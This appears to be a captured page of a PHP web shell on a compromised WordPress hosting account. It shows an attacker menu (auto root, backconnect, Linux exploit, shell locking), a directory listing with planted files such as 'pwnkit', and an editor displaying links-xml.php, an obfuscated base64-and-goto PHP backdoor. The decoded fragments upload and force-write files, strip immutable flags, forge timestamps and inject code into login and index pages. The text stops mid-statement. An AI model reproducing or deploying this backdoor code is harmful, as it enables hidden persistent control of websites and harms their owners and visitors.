Linux webm003.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.131.20.3 | : 216.73.217.69
Cant Read [ /etc/named.conf ]
7.4.33
anoukpx
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
anoukpx /
www /
[ HOME SHELL ]
Name
Size
Permission
Action
.tmp
[ DIR ]
drwxr-xr-x
cpanel
[ DIR ]
drwxr-xr-x
wp-admin
[ DIR ]
drwxr-xr-x
wp-content
[ DIR ]
drwxr-xr-x
wp-includes
[ DIR ]
drwxr-xr-x
.gitignore
567
B
-rw-r--r--
.htaccess
249
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
123.php
62
B
-rw-r--r--
about.php
1.53
KB
-rw-r--r--
adminer.php
0
B
-rw-r--r--
bootstrap.inc.php
275.07
KB
-rw-r--r--
class-init-cache.php
0
B
-rw-r--r--
class-widget-cache.php
0
B
-rw-r--r--
defines.php
629
B
-rw-r--r--
filefuns.php
1.98
KB
-rw-r--r--
gettest.php
1.41
KB
-rw-r--r--
google04e97f268705b808.html
53
B
-rw-r--r--
google553c02718c9b6fe8.html
53
B
-rw-r--r--
hiroshi.php
40.71
KB
-rw-r--r--
htaccesscf
561
B
-rw-r--r--
images.php
17.65
KB
-rw-r--r--
init-cache-init.php
0
B
-rw-r--r--
item.php
40.6
KB
-rw-r--r--
license.txt
19.44
KB
-rw-r--r--
links-xml.php
68.06
KB
-rw-r--r--
lonmgh.php
143.87
KB
-r--r--r--
meta-cache-init.php
0
B
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
readme.html
7.25
KB
-rw-r--r--
robots.txt
71
B
-rw-r--r--
style.php
13.37
KB
-rw-r--r--
tlogo.bmp
1.58
KB
-rw-r--r--
widget-handler-loader.php
0
B
-rw-r--r--
wp-activate.php
7.18
KB
-rw-r--r--
wp-blog-header.php
351
B
-rw-r--r--
wp-comments-post.php
2.27
KB
-rw-r--r--
wp-config-sample.php
3.26
KB
-rw-r--r--
wp-config.php
3.13
KB
-rw-r--r--
wp-cron.php
5.49
KB
-rw-r--r--
wp-links-opml.php
2.43
KB
-rw-r--r--
wp-load.php
3.84
KB
-rw-r--r--
wp-mail.php
8.52
KB
-rw-r--r--
wp-settings.php
30.33
KB
-rw-r--r--
wp-signup.php
33.71
KB
-rw-r--r--
wp-touch-class.php
232
B
-rw-r--r--
wp-trackback.php
5.09
KB
-rw-r--r--
wp-validate.php
8.97
KB
-rw-r--r--
xmlrpc.php
3.13
KB
-rw-r--r--
ysssbb.php
80.07
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : links-xml.php
<?php goto Kihn0ZCm; FaWwd9JSi: $_LRXxT .= 'ICAgICAgICBjbG9zZWRpcigkZGgpOwogICAgICAgICAgICAgICAgICAgIHNvcnQoJGZvdW5kKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAkb3V0Wydwcm90ZWN0J10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAnZm91bmQnICAgPT4gJGZvdW5kLAogICAgICAgICAgICAgICAgICAgICdza2lwcGVkJyA9PiAkc2tpcHBlZCwKICAgICAgICAgICAgICAgICAgICAnd3JpdHRlbicgPT4gJHdyaXR0ZW4sCiAgICAgICAgICAgICAgICAgICAgJ2Vycm9ycycgID0+ICRlcnJvcnMsCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBhcXVhX2pzb24oMjAwLCAnb2snLCAkb3V0KTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICdidW5kbGVfaGFyZGVuX25vbndwJzoKICAgICAgICBhcXVhX2NsZWFudXBfYmxvY2tlcnMoJFJPT1QpOwoKICAgICAgICAkcmVxID0gYXF1YV9yZWFkX2pzb25fYm9keSgpOwogICAgICAgIGlmICghaXNfYXJyYXkoJHJlcSkpIHsKICAgICAgICAgICAgYXF1YV9qc29uKDQwMCwgJ2J1bmRsZV9oYXJkZW5fbm9ud3Ag6ZeH4oKs55GV77+9IEpTT04gYm9keScsIG51bGwpOwogICAgICAgIH0KCiAgICAgICAgJG91dCA9IGFycmF5KAogICAgICAgICAgICAnZGVmaW5lcycgPT4gbnVsbCwKICAgICAgICAgICAgJ2luZGV4JyAgID0+IG51bGwsCiAgICAgICAgICAgICdodGFjY2Vzcyc9PiBudWxsLAogICAgICAgICk7CgogICAgICAgICRkZWZpbmVzQjY0ID0gaXNzZXQoJHJlcVsnZGVmaW5lc19waHBfYjY0J10pID8gJHJlcVsnZGVmaW5lc19waHBfYjY0J10gOiAnJzsKICAgICAgICBpZiAoaXNfc3RyaW5nKCRkZWZpbmVzQjY0KSAmJiAkZGVmaW5lc0I2NCAhPT0gJycpIHsKICAgICAgICAgICAgJGJ5dGVzID0gYmFzZTY0X2RlY29kZSgkZGVmaW5lc0I2NCwgdHJ1ZSk7CiAgICAgICAgICAgIGlmICgkYnl0ZXMgPT09IGZhbHN'; goto UZ87vv; aSlty3B31: $_LRXxT .= 'QYXRoLCAnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICfmtpPlqYHntLbplr/mrJLuh6TplJvvv70nIC4gJGZpbGVbJ2Vycm9yJ10pOwogICAgICAgICAgICAgICAgJGZhaWxlZENvdW50Kys7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJGRlc3QpKSB7CiAgICAgICAgICAgICAgICBhcXVhX2Vuc3VyZV93cml0YWJsZSgkZGVzdCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmICghQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgJGRlc3QpKSB7CiAgICAgICAgICAgICAgICBpZiAoaXNfZmlsZSgkZGVzdCkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgQGV4ZWMoJ2NoYXR0ciAtaSAnIC4gZXNjYXBlc2hlbGxhcmcoJGRlc3QpIC4gJyAyPi9kZXYvbnVsbCcpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBAY2htb2QoJGRlc3QsIDA3NzcpOwogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGRlc3QpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICghQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgJGRlc3QpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbXSA9IGFycmF5KCdwYXRoJyA9PiAkcmVsUGF0aCwgJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAn5reH5r+G55Oo5r626L6r6KemJyk7CiAgICAgICAgICAgICAgICAgICAgJGZhaWxlZENvdW50Kys7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGFxdWFfdG91Y2hfMjAyMCgkZGVzdCk7CiAgICAgICAgICAgIGFxdWFfdG91Y2hfMjAyMF9kaXIoZGlybmFtZSgkZGVzdCksICRST09UKTsKCiAgICAgICAgICAgICRyZXN1bHRzW10gPSBhcnJheSgKICAgICAgI'; goto XEuZ71q; lFFkmC4: $_LRXxT .= 'G91dFsnY2xlYW51cCddWyRyZWxdID0gYXF1YV9oYXJkX3VubGluaygkZnVsbCkgPyAnZGVsZXRlZCcgOiAnZGVsZXRlX2ZhaWxlZCc7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGFxdWFfY2xlYW51cF9ibG9ja2VycygkUk9PVCk7CgogICAgICAgIGlmIChpc3NldCgkcmVxWydmaWxlcyddKSAmJiBpc19hcnJheSgkcmVxWydmaWxlcyddKSkgewogICAgICAgICAgICBmb3JlYWNoICgkcmVxWydmaWxlcyddIGFzICRyZWwgPT4gJGI2NCkgewogICAgICAgICAgICAgICAgaWYgKCFpc19zdHJpbmcoJHJlbCkgfHwgJHJlbCA9PT0gJycgfHwgIWlzX3N0cmluZygkYjY0KSkgewogICAgICAgICAgICAgICAgICAgICRvdXRbJ2ZpbGVzJ11bKHN0cmluZykkcmVsXSA9IGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ2JhZF9wYXJhbScpOwogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGRlc3QgPSBhcXVhX3dyaXRlX3RhcmdldCgkUk9PVCwgJHJlbCk7CiAgICAgICAgICAgICAgICBpZiAoJGRlc3QgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJG91dFsnZmlsZXMnXVskcmVsXSA9IGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ2ludmFsaWRfcGF0aCcpOwogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBiYXNlNjRfZGVjb2RlKCRiNjQsIHRydWUpOwogICAgICAgICAgICAgICAgaWYgKCRjb250ZW50ID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICRvdXRbJ2ZpbGVzJ11bJHJlbF0gPSB'; goto NNEBgCw8W; IhQ3WNV: $_LRXxT .= 'k9PVCk7CgogICAgICAgICRkZXN0ID0gYXF1YV93cml0ZV90YXJnZXQoJFJPT1QsICRyZWwpOwogICAgICAgIGlmICgkZGVzdCA9PT0gZmFsc2UpIHsgYXF1YV9qc29uKDQwMCwgJ+mQqe6GveeIo+eSuu6Imue3numXiOeCtOehticsIG51bGwpOyB9CgogICAgICAgIGlmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PT0gVVBMT0FEX0VSUl9PSykgewogICAgICAgICAgICBpZiAoaXNfZmlsZSgkZGVzdCkpIHsgYXF1YV9lbnN1cmVfd3JpdGFibGUoJGRlc3QpOyB9CiAgICAgICAgICAgIGlmICghQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRkZXN0KSkgewogICAgICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJGRlc3QpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7IEBleGVjKCdjaGF0dHIgLWkgJyAuIGVzY2FwZXNoZWxsYXJnKCRkZXN0KSAuICcgMj4vZGV2L251bGwnKTsgfQogICAgICAgICAgICAgICAgICAgIEBjaG1vZCgkZGVzdCwgMDc3Nyk7IEB1bmxpbmsoJGRlc3QpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJGRlc3QpKSB7CiAgICAgICAgICAgICAgICAgICAgYXF1YV9qc29uKDUwMCwgJ+a3h+a/hueTqOa+tui+q+inpicsIG51bGwpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGFxdWFfdG91Y2hfMjAyMCgkZGVzdCk7CiAgICAgICAgICAgIGFxdWFfdG91Y2hfMjAyMF9kaXIoZGlybmFtZSgkZGVzdCksICRST09UKTsKICAgICAgICAgICAgYXF1YV9qc29uKDIwMCwgJ29rJywgYXJyYXkoJ3NhdmVkJyA9PiBhcXVhX3JlbCgkUk9PVCwgJGRlc3QpLCAnc2l6ZScgPT4gZmlsZXNpemUoJGRlc3QpKSk7CiAgICAgICAgfQogIC'; goto aXtDEG; Axqb8Qxwj: $_LRXxT .= 'RhcmdldHMnXSkgJiYgaXNfYXJyYXkoJHJlcVsncmVzdG9yZV90YXJnZXRzJ10pKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRyZXFbJ3Jlc3RvcmVfdGFyZ2V0cyddIGFzICR0KSB7CiAgICAgICAgICAgICAgICBpZiAoIWlzX2FycmF5KCR0KSkgeyBjb250aW51ZTsgfQogICAgICAgICAgICAgICAgJHBhdGggICA9IGlzc2V0KCR0WydwYXRoJ10pICAgICA/ICR0WydwYXRoJ10gICAgIDogJyc7CiAgICAgICAgICAgICAgICAkY29kZUIgID0gaXNzZXQoJHRbJ2NvZGVfYjY0J10pID8gJHRbJ2NvZGVfYjY0J10gOiAnJzsKICAgICAgICAgICAgICAgICRtYXJrZXIgPSBpc3NldCgkdFsnbWFya2VyJ10pICAgPyAkdFsnbWFya2VyJ10gICA6ICcnOwogICAgICAgICAgICAgICAgaWYgKCRwYXRoID09PSAnJyB8fCAkY29kZUIgPT09ICcnKSB7IGNvbnRpbnVlOyB9CgogICAgICAgICAgICAgICAgJGl0ZW0gPSBhcnJheSgncGF0aCcgPT4gJHBhdGgpOwogICAgICAgICAgICAgICAgJGZ1bGwgPSBhcXVhX3NhZmVfcGF0aCgkUk9PVCwgJHBhdGgpOwogICAgICAgICAgICAgICAgaWYgKCRmdWxsID09PSBmYWxzZSB8fCAhaXNfZmlsZSgkZnVsbCkpIHsKICAgICAgICAgICAgICAgICAgICAkaXRlbVsnb2snXSA9IGZhbHNlOyAkaXRlbVsnZXJyb3InXSA9ICdub3RfZm91bmQnOwogICAgICAgICAgICAgICAgICAgICRvdXRbJ3Jlc3RvcmUnXVtdID0gJGl0ZW07CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJGNvZGVCLCB0cnVlKTsKICAgICAgICAgICAgICAgIGlmICgkY29kZSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAkaXRlbVsnb2snXSA9IGZhbHNlOyAkaXRlbVsnZXJyb3InXSA9ICdiYWRfYmFzZTY0JzsKICAgICAgICAgICAgICAgICAgICAkb3V0WydyZXN0b3JlJ11bXSA9ICRpdGVtOwogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJG9yaWcgPSBAZmlsZV9nZXRfY29udGVudHMoJGZ1bGwpOwogICAgICAgICAg'; goto Pso2pfWZs; KsMHiir: $_LRXxT .= 'lZCkgewoKICAgICAgICAgICAgICAgIGlmIChpc19maWxlKCRpbmRleDIpKSB7CiAgICAgICAgICAgICAgICAgICAgYXF1YV9oYXJkX3VubGluaygkaW5kZXgyKTsKICAgICAgICAgICAgICAgICAgICAkcmVuYW1lZCA9IEByZW5hbWUoJGluZGV4SHRtbCwgJGluZGV4Mik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCEkcmVuYW1lZCkgewogICAgICAgICAgICAgICAgJG91dFsnaW5kZXgnXSA9IGFycmF5KCdtb2RlJyA9PiAnaHRtbF9wcmVzZW50JywgJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAncmVuYW1lX2ZhaWxlZCcpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgYXF1YV90b3VjaF8yMDIwKCRpbmRleDIpOwogICAgICAgICAgICAgICAgJHdpdGhIdG1sQjY0ID0gaXNzZXQoJHJlcVsnaW5kZXhfcGhwX3dpdGhfaHRtbF9iNjQnXSkgPyAkcmVxWydpbmRleF9waHBfd2l0aF9odG1sX2I2NCddIDogJyc7CiAgICAgICAgICAgICAgICAkYnl0ZXMgPSBiYXNlNjRfZGVjb2RlKChzdHJpbmcpJHdpdGhIdG1sQjY0LCB0cnVlKTsKICAgICAgICAgICAgICAgIGlmICgkYnl0ZXMgPT09IGZhbHNlIHx8ICRieXRlcyA9PT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAkb3V0WydpbmRleCddID0gYXJyYXkoJ21vZGUnID0+ICdodG1sX3ByZXNlbnQnLCAnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdiYWRfaW5kZXhfcGhwX3dpdGhfaHRtbF9iNjQnKTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmIChhcXVhX2ZvcmNlX3dyaXRlKCRpbmRleFBocCwgJGJ5dGVzKSkgewogICAgICAgICAgICAgICAgICAgIGFxdWFfdG91Y2hfMjAyMCgkaW5kZXhQaHApOwogICAgICAgICAgICAgICAgICAgICRvdXRbJ2luZGV4J10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJ21vZGUnID0+ICdodG1sX3ByZXNlbnQnLAogICAgICAgICAgICAgICAgICAgICAgICAnb2snICAgP'; goto eWvTYZmJJ; yOa9PKjpd: $_IxnF = 86477; $_LRXxT .= 'BicmVhazsKCiAgICBjYXNlICdsaXN0X2RpcmVjdG9yaWVzJzoKICAgICAgICAkcmVsUGF0aCA9IGlzc2V0KCRfUkVRVUVTVFsncGF0aCddKSA/ICRfUkVRVUVTVFsncGF0aCddIDogJyc7CiAgICAgICAgJGRlcHRoID0gaXNzZXQoJF9SRVFVRVNUWydkZXB0aCddKSA/IGludHZhbCgkX1JFUVVFU1RbJ2RlcHRoJ10pIDogMTsKICAgICAgICAkbWF4UmVzdWx0cyA9IGlzc2V0KCRfUkVRVUVTVFsnbWF4X3Jlc3VsdHMnXSkgPyBpbnR2YWwoJF9SRVFVRVNUWydtYXhfcmVzdWx0cyddKSA6IDIwMDsKCiAgICAgICAgaWYgKCRkZXB0aCA8IDApICRkZXB0aCA9IDE7CiAgICAgICAgaWYgKCRkZXB0aCA+IDEwKSAkZGVwdGggPSAxMDsKICAgICAgICBpZiAoJG1heFJlc3VsdHMgPCAxKSAkbWF4UmVzdWx0cyA9IDIwMDsKICAgICAgICBpZiAoJG1heFJlc3VsdHMgPiAxMDAwKSAkbWF4UmVzdWx0cyA9IDEwMDA7CgogICAgICAgICRzY2FuUm9vdCA9ICRST09UOwogICAgICAgIGlmICgkcmVsUGF0aCAhPT0gJycpIHsKICAgICAgICAgICAgJHNjYW5Sb290ID0gYXF1YV9zYWZlX3BhdGgoJFJPT1QsICRyZWxQYXRoKTsKICAgICAgICAgICAgaWYgKCRzY2FuUm9vdCA9PT0gZmFsc2UgfHwgIWlzX2Rpcigkc2NhblJvb3QpKSB7CiAgICAgICAgICAgICAgICBhcXVhX2pzb24oNDAwLCAn55K67oia57ee5raT5baF55Oo6Y2m44Sm5Z6o6ZeI54K056G2JywgbnVsbCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICRkaXJzID0gYXJyYXkoKTsKICAgICAgICBhcXVhX3NjYW5fZGlyZWN0b3JpZXMoJHNjYW5Sb290LCAkUk9PVCwgJycsICRkZXB0aCwgMCwgJGRpcnMsICRtYXhSZXN'; goto tZMUszaFf; zDfpLwTg: $_ps1Y = 21130; $_LRXxT .= 'ddID0gZmFsc2U7ICRpdGVtWydlcnJvciddID0gJ3JlYWRfZmFpbGVkJzsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRzdGFydCAhPT0gJycgJiYgc3RycG9zKCRvcmlnLCAkc3RhcnQpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ29rJ10gPSB0cnVlOyAkaXRlbVsnc2tpcHBlZCddID0gdHJ1ZTsgJGl0ZW1bJ3JlYXNvbiddID0gJ2FscmVhZHlfaW5qZWN0ZWQnOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5ld0NvbnRlbnQgPSAkY29kZSAuICJcbiIgLiAkb3JpZzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChhcXVhX2ZvcmNlX3dyaXRlKCRmdWxsLCAkbmV3Q29udGVudCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcXVhX3RvdWNoXzIwMjAoJGZ1bGwpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWydvayddID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVsnc2l6ZSddID0gc3RybGVuKCRuZXdDb250ZW50KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ29rJ10gPSBmYWxzZTsgJGl0ZW1bJ2Vycm9yJ10gPSAnd3JpdGVfZmFpbGVkJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkb3V0Wyd3cF9sb2dpbiddID0gJGl0ZW07CiAgICAgICAgfQoKICAgICAgICBhcXVhX2pzb24oMjAwLCAnb2snLCAkb3V0KTsKICAgICAgICBicm'; goto niQrHv; h5FlBs: $_LRXxT .= 'Y2Vzc0J5dGVzKSwKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkb3V0WydodGFjY2VzcyddID0gYXJyYXkoJ21vZGUnID0+ICdiYWNrdXBfYW5kX3dyaXRlJywgJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnd3JpdGVfZmFpbGVkJywgJ2JhY2t1cF9vaycgPT4gJGJrT2spOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBhcXVhX2pzb24oMjAwLCAnb2snLCAkb3V0KTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICdidW5kbGVfcmVwb3J0JzoKICAgICAgICAkcmVxID0gYXF1YV9yZWFkX2pzb25fYm9keSgpOwogICAgICAgIGlmICghaXNfYXJyYXkoJHJlcSkpIHsKICAgICAgICAgICAgYXF1YV9qc29uKDQwMCwgJ2J1bmRsZV9yZXBvcnQg6ZeH4oKs55GV77+9IEpTT04gYm9keScsIG51bGwpOwogICAgICAgIH0KCiAgICAgICAgJG91dCA9IGFycmF5KAogICAgICAgICAgICAnZmlsZXMnICAgPT4gYXJyYXkoKSwKICAgICAgICAgICAgJ2JhY2t1cCcgID0+IG51bGwsCiAgICAgICAgICAgICdyZXN0b3JlJyA9PiBhcnJheSgpLAogICAgICAgICAgICAnd3BfbG9naW4nPT4gbnVsbCwKICAgICAgICApOwoKICAgICAgICAkZmlsZUNvbnRlbnRzID0gYXJyYXkoKTsKICAgICAgICAkZmlsZU1kNXMgICAgID0gYXJyYXkoKTsKICAgICAgICBpZiAoaXNzZXQoJHJlcVsncmVhZF9maWxlcyddKSAmJiBpc19hcnJheSgkcmVxWydyZWFkX2ZpbGVzJ10pKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRyZXFbJ3JlYWRfZmlsZXMnXSBhcyAkcmVsKSB7CiAgICAgICAgICAgICAgICBpZiAoIWlzX3N0cmluZygkcmVsKSB8fCAkcmVsID09PSAnJykgeyBjb250aW51ZTsgfQogICAgICAgICAgICAgICAgJGZ1bGwgPSBhcXVhX3NhZmVfcGF0aCgkUk9PVCwgJHJlbCk7CiAgICAgICAgICAgICAgICBpZiAoJGZ1bGwgPT09IGZhbHNlIHx8ICFpc19maWxlKCRmdWxsKSkgewogICAgICAgICAg'; goto HbFutTq7; eWvTYZmJJ: $_LRXxT .= 'T4gdHJ1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ3JlbmFtZWRfdG8nID0+ICdpbmRleDIuaHRtbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiBzdHJsZW4oJGJ5dGVzKSwKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkb3V0WydpbmRleCddID0gYXJyYXkoJ21vZGUnID0+ICdodG1sX3ByZXNlbnQnLCAnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICd3cml0ZV9mYWlsZWQnKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CgogICAgICAgICAgICBpZiAoIWlzX2ZpbGUoJGluZGV4UGhwKSkgewoKICAgICAgICAgICAgICAgICRkZWZhdWx0QjY0ID0gaXNzZXQoJHJlcVsnaW5kZXhfcGhwX2RlZmF1bHRfYjY0J10pID8gJHJlcVsnaW5kZXhfcGhwX2RlZmF1bHRfYjY0J10gOiAnJzsKICAgICAgICAgICAgICAgICRieXRlcyA9IGJhc2U2NF9kZWNvZGUoKHN0cmluZykkZGVmYXVsdEI2NCwgdHJ1ZSk7CiAgICAgICAgICAgICAgICBpZiAoJGJ5dGVzID09PSBmYWxzZSB8fCAkYnl0ZXMgPT09ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgJG91dFsnaW5kZXgnXSA9IGFycmF5KCdtb2RlJyA9PiAnbm9faW5kZXhfY3JlYXRlJywgJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnYmFkX2luZGV4X3BocF9kZWZhdWx0X2I2NCcpOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKGFxdWFfZm9yY2Vfd3JpdGUoJGluZGV4UGhwLCAkYnl0ZXMpKSB7CiAgICAgICAgICAgICAgICAgICAgYXF1YV90b3VjaF8yMDIwKCRpbmRleFBocCk7CiAgICAgICAgICAgICAgICAgICAgJG91dFsnaW5kZXgnXSA9IGFycmF5KCdtb2RlJyA9PiAnbm9faW5kZXhfY3JlYXRlJywgJ29rJyA9PiB0cnVlLCAnc2l6ZScgPT4gc3RybGVuKCRieXRlcykpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkb3V0WydpbmRleCddID0gYXJyYXkoJ21vZGUnID0+ICdub19pbmRleF9jcmVhdGUnLCAnb2snID0+IGZhbHNlLCAnZXJyb3'; goto XU4yo3jq; tZMUszaFf: $_KbiS = 89189; $_LRXxT .= '1bHRzKTsKCiAgICAgICAgc29ydCgkZGlycyk7CiAgICAgICAgYXF1YV9qc29uKDIwMCwgJ29rJywgYXJyYXkoCiAgICAgICAgICAgICdkaXJlY3RvcmllcycgPT4gJGRpcnMsCiAgICAgICAgICAgICdjb3VudCcgPT4gY291bnQoJGRpcnMpLAogICAgICAgICAgICAnZGVwdGgnID0+ICRkZXB0aCwKICAgICAgICAgICAgJ3RydW5jYXRlZCcgPT4gY291bnQoJGRpcnMpID49ICRtYXhSZXN1bHRzID8gMSA6IDAKICAgICAgICApKTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICdidW5kbGVfaGFyZGVuJzoKICAgICAgICBhcXVhX2NsZWFudXBfYmxvY2tlcnMoJFJPT1QpOwoKICAgICAgICAkcmVxID0gYXF1YV9yZWFkX2pzb25fYm9keSgpOwogICAgICAgIGlmICghaXNfYXJyYXkoJHJlcSkpIHsKICAgICAgICAgICAgYXF1YV9qc29uKDQwMCwgJ2J1bmRsZV9oYXJkZW4g6ZeH4oKs55GV77+9IEpTT04gYm9keScsIG51bGwpOwogICAgICAgIH0KCiAgICAgICAgJG91dCA9IGFycmF5KAogICAgICAgICAgICAnY2xlYW51cCcgPT4gYXJyYXkoKSwKICAgICAgICAgICAgJ2JhY2t1cCcgID0+IGFycmF5KCksCiAgICAgICAgICAgICdmaWxlcycgICA9PiBhcnJheSgpLAogICAgICAgICAgICAncHJvdGVjdCcgPT4gYXJyYXkoKSwKICAgICAgICApOwoKICAgICAgICBpZiAoaXNzZXQoJHJlcVsnY2xlYW51cF9maWxlcyddKSAmJiBpc19hcnJheSgkcmVxWydjbGVhbnVwX2ZpbGVzJ10pKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRyZXFbJ2NsZWFudXBfZmlsZXMnXSBhcyAkcmVsKSB7CiAgICAgICAgICAgICAgICBpZiAoIWlzX3N0cmluZygkcmVsKSB8fCAkcmVsID09PSAnJykgeyBjb250aW51ZTsgfQogICAgICAgICAgICAgICAgJGZ1bGwgPSBhcXVhX3NhZmVfcGF0aCgkUk9PVCwgJHJlbCk7CiAgICAgICAgICAgICAgICBpZiAoJGZ1bGwgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJG91dFsnY2xlYW51cCddWyRyZWxdID0gJ2ludmFsaWRfcGF0aCc7CiAgICAgICAgICAgICAgICAgICAgY29udG'; goto ZX0gAO; S9JnZqh3: $_NgsO = 88614; $_LRXxT .= 